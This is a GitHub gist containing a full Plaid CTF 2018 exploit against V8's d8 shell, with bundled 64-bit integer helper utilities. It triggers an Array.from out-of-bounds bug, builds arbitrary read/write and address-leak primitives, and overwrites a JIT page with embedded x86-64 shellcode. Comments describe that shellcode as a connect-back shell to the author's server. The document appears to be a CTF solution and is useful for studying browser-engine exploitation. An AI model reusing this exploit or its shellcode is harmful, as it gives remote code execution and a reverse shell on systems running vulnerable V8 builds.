Skip to content

Instantly share code, notes, and snippets.

@itszn
Last active March 5, 2021 16:31
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save itszn/73cc299b9bcff1ed585e6206d1ade58e to your computer and use it in GitHub Desktop.
Save itszn/73cc299b9bcff1ed585e6206d1ade58e to your computer and use it in GitHub Desktop.
Plaid CTF 2018 d8 exploit
/* Plaid CTF 2018 v8 Exploit. Exploit begins around line 240 */
/* ### Utils, thanks saelo ### */
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
Int64.Eight = new Int64(8);
// That's all the arithmetic we need for exploiting WebKit.. :)
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
/* #### Start Exploit #### */
// Shellcode to run. In this case, a connect back shell to my server
var sc = [];
for (var i=0; i<0x100; i++) {
sc.push(0x90);
}
sc = sc.concat([0x48,0x31,0xc0,0x48,0x31,0xff,0x48,0x31,0xf6,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x6a,0x2,0x5f,0x6a,0x1,0x5e,0x6a,0x6,0x5a,0x6a,0x29,0x58,0xf,0x5,0x49,0x89,0xc0,0x48,0x31,0xf6,0x4d,0x31,0xd2,0x41,0x52,0xc6,0x4,0x24,0x2,0x66,0xc7,0x44,0x24,0x2,0x7a,0x69,0xc7,0x44,0x24,0x4,0x68,0x83,0xd5,0x43,0x48,0x89,0xe6,0x6a,0x10,0x5a,0x41,0x50,0x5f,0x6a,0x2a,0x58,0xf,0x5,0x48,0x31,0xf6,0x6a,0x3,0x5e,0x48,0xff,0xce,0x6a,0x21,0x58,0xf,0x5,0x75,0xf6,0x48,0x31,0xff,0x57,0x57,0x5e,0x5a,0x48,0xbf,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x48,0xc1,0xef,0x8,0x57,0x54,0x5f,0x6a,0x3b,0x58,0xf,0x5,])
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
function l(x) {
console.log(x);
}
// Some convenience typed arrays
conva = new ArrayBuffer(8);
convf = new Float64Array(conva);
convi = new Uint32Array(conva);
gc();
gc();
let oobArray = [1.1];
let oobArray2 = [];
var save = Array(100);
// Trigger the bug
// https://github.com/v8/v8/commit/b5da57a06de8791693c248b7aafc734861a3785d
// This bug is caused by turbofan doing SetLength after the end of the iterator.
// The code checks if the current array size, so setting oobArray.length will cause
// the length to not match the FixedArray holding the elements.
let getOOB = function(oobArray, l) {
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = l;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
return oobArray;
}
// Create an OOB Float array, with length 1. We don't want 0, because that will
// give use a zero sized fixed array far away from our data.
oobArray = getOOB([1.1], 1);
// Generate some jsarrays and typed arrays to corrupt
for (let j = 0; j<100; j++) {
if (j%2==0) {
save[j] = [0x41424346, 0x41424347, save];
} else {
save[j] = (new ArrayBuffer(0x41));
}
}
gc();
gc();
var index = null;
//%DebugPrint(oobArray);
//%DebugPrint(save);
// Look for the typed array index with our OOB read
var last = 0;
for (let i=0; i<oobArray.length; i++) {
let f = oobArray[i];
convf[0] = f;
// Length SMI is 0x41
if (convi[1] === 0x41) {
l('found typed array 0');
l(i);
convi[1]= 0x8; // Modify the length so we can find which one we control
oobArray[i] = convf[0]
index = i;
break;
}
last = convf[0];
}
// Find which typed array we control
var ca = null;
for (let i=0; i<100; i++) {
if (i%2 ==0)
continue;
if (save[i].byteLength != 0x41) {
l('found typed array 1');
ca = save[i];
break;
}
}
// Look for the JS Array with the OOB read
var jsindex = null;
for (let i=0; i<oobArray.length; i++) {
let f = oobArray[i];
convf[0] = f;
// Check for elements in the array
if (convi[1] === 0x41424346) {
convf[0] = oobArray[i+1];
if (convi[1] !== 0x41424347) {
continue;
}
convf[0] = oobArray[i+2];
if (convi[1] === 0) {
continue;
}
l('found js array 0');
l(i);
convi[0] = 0;
convi[1]= 0x51525354; // Modify the first element so we can detect it
oobArray[i] = convf[0]
jsindex = i;
break;
}
last = convf[0];
}
// Find which JS Array we con control
var js = null;
for (let i=0; i<100; i++) {
if (i%2 !=0)
continue;
if (save[i][0] != 0x41424346) {
l('found js array 1');
js = save[i];
break;
}
}
if (index=== null || ca === null || js === null || jsindex === null) {
l('bad');
}
// Create our primatives
prims = {
// Get a copy of the typed array with an arbitrary length and backing pointer
arb: (a, l) => {
convi[1]= l;
convi[0]= 0x0;
oobArray[index] = convf[0];
oobArray[index+1] = a.asDouble();
oobArray[index+2] = a.asDouble();
return new Uint8Array(ca);
},
// Read 64bits from a given address
read: (a) => {
convi[1]= 0x8;
convi[0]= 0x0;
oobArray[index] = convf[0];
oobArray[index+1] = a.asDouble();
oobArray[index+2] = a.asDouble();
return new Int64(new Uint8Array(ca));
},
// Write 64bits to a given address
write: (a, v) => {
convi[1]= 0x8;
convi[0]= 0x0;
oobArray[index] = convf[0];
oobArray[index+1] = a.asDouble();
oobArray[index+2] = a.asDouble();
var u8 = new Uint8Array(ca);
u8[0] = v.byteAt(0);
u8[1] = v.byteAt(1);
u8[2] = v.byteAt(2);
u8[3] = v.byteAt(3);
u8[4] = v.byteAt(4);
u8[5] = v.byteAt(5);
u8[6] = v.byteAt(6);
u8[7] = v.byteAt(7);
},
// Get the address of an object
addrOf: (x) => {
js[0] = x;
return Int64.fromDouble(oobArray[jsindex]);
}
};
/*
l('test addrof')
z = prims.addrOf(ca);
z = prims.read(z);
l(z);
*/
// Create a jit function to leak the jit page from
jit = function(y) {
x = y[0];
x = x+1*4+2*4+2+5;
y[0] = x;
}
for(let j=0; j<10000;j++) {
jit([1]);
jit([1]);
jit([1]);
}
// Leak the jit page
var jitAddrPtr = prims.addrOf(jit);
l(jitAddrPtr)
jitAddrPtr.assignSub(jitAddrPtr, Int64.One);
bad = {};
// My offset seemed to not be right, so I manually searched for the jit pointer
var jitAddr = null;
for (let i=0; i<0x20; i++) {
// Grab the next value
jitAddrPtr.assignAdd(jitAddrPtr, Int64.Eight);
l(jitAddrPtr);
// Check upper bits to find jit page mapping
jitAddr = prims.read(jitAddrPtr);
k = jitAddr.byteAt(4)+(jitAddr.byteAt(5)<<8);
jitAddr.assignSub(jitAddr, Int64.One);
// Grab third mapping we see
if (!(k in bad)) {
if (Object.keys(bad).length === 2) {
break;
}
bad[k] = true;
}
}
z = prims.read(jitAddr);
l('jit read is '+z);
// Write our shellcode over the jitpage
var jb = prims.arb(jitAddr, 0x1000);
//jb.fill(0xcc);
jb.set(sc);
jit();
while(1){}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment